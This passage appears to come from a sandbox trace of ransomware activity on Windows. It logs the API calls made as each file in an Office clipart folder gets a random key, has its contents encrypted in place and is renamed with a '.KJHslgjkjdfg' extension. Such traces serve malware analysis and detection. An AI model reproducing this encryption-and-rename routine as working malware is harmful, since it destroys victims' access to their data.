CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.297] GetProcessHeap () returned 0x990000 [0189.297] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.297] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.297] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.297] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.297] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.297] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.298] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa4c, lpOverlapped=0x0) returned 1 [0189.298] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa50, dwBufLen=0xa50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa50) returned 1 [0189.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa50, lpOverlapped=0x0) returned 1 [0189.298] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.298] SetEndOfFile (hFile=0x130) returned 1 [0189.301] GetProcessHeap () returned 0x990000 [0189.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.301] GetProcessHeap () returned 0x990000 [0189.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.kjhslgjkjdfg")) returned 1 [0189.302] CloseHandle (hObject=0x130) returned 1 [0189.302] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0189.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.303] GetProcessHeap () returned 0x990000 [0189.303] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.303] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.303] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.303] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.303] GetProcessHeap () returned 0x990000 [0189.303] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.303] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.303] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.303] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.304] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.305] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.305] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.305] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.305] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.305] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1510, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1510, lpOverlapped=0x0) returned 1 [0189.306] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1510, dwBufLen=0x1510 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1510) returned 1 [0189.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.306] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1510, lpOverlapped=0x0) returned 1 [0189.306] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.306] SetEndOfFile (hFile=0x130) returned 1 [0189.308] GetProcessHeap () returned 0x990000 [0189.308] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.309] GetProcessHeap () returned 0x990000 [0189.309] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.kjhslgjkjdfg")) returned 1 [0189.310] CloseHandle (hObject=0x130) returned 1 [0189.310] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0189.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.310] GetProcessHeap () returned 0x990000 [0189.310] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.310] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.311] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.311] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.311] GetProcessHeap () returned 0x990000 [0189.311] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.311] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.311] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.311] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.313] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.313] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.313] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.313] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.314] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.314] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.314] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x670, lpOverlapped=0x0) returned 1 [0189.314] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x670, dwBufLen=0x670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x670) returned 1 [0189.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.314] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x670, lpOverlapped=0x0) returned 1 [0189.314] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.314] SetEndOfFile (hFile=0x130) returned 1 [0189.317] GetProcessHeap () returned 0x990000 [0189.317] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.317] GetProcessHeap () returned 0x990000 [0189.317] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.kjhslgjkjdfg")) returned 1 [0189.318] CloseHandle (hObject=0x130) returned 1 [0189.318] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0189.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.319] GetProcessHeap () returned 0x990000 [0189.319] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.319] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.321] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.321] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.321] GetProcessHeap () returned 0x990000 [0189.321] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.321] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.321] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.321] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.321] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.321] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.321] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.322] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.322] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.322] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.322] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc38, lpOverlapped=0x0) returned 1 [0189.322] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc40, dwBufLen=0xc40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc40) returned 1 [0189.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.322] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc40, lpOverlapped=0x0) returned 1 [0189.322] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.322] SetEndOfFile (hFile=0x130) returned 1 [0189.324] GetProcessHeap () returned 0x990000 [0189.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.324] GetProcessHeap () returned 0x990000 [0189.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.kjhslgjkjdfg")) returned 1 [0189.325] CloseHandle (hObject=0x130) returned 1 [0189.325] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0189.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.327] GetProcessHeap () returned 0x990000 [0189.327] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.327] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.327] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0189.329] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.329] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.329] GetProcessHeap () returned 0x990000 [0189.329] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.329] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.329] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.329] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.329] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.329] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.330] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 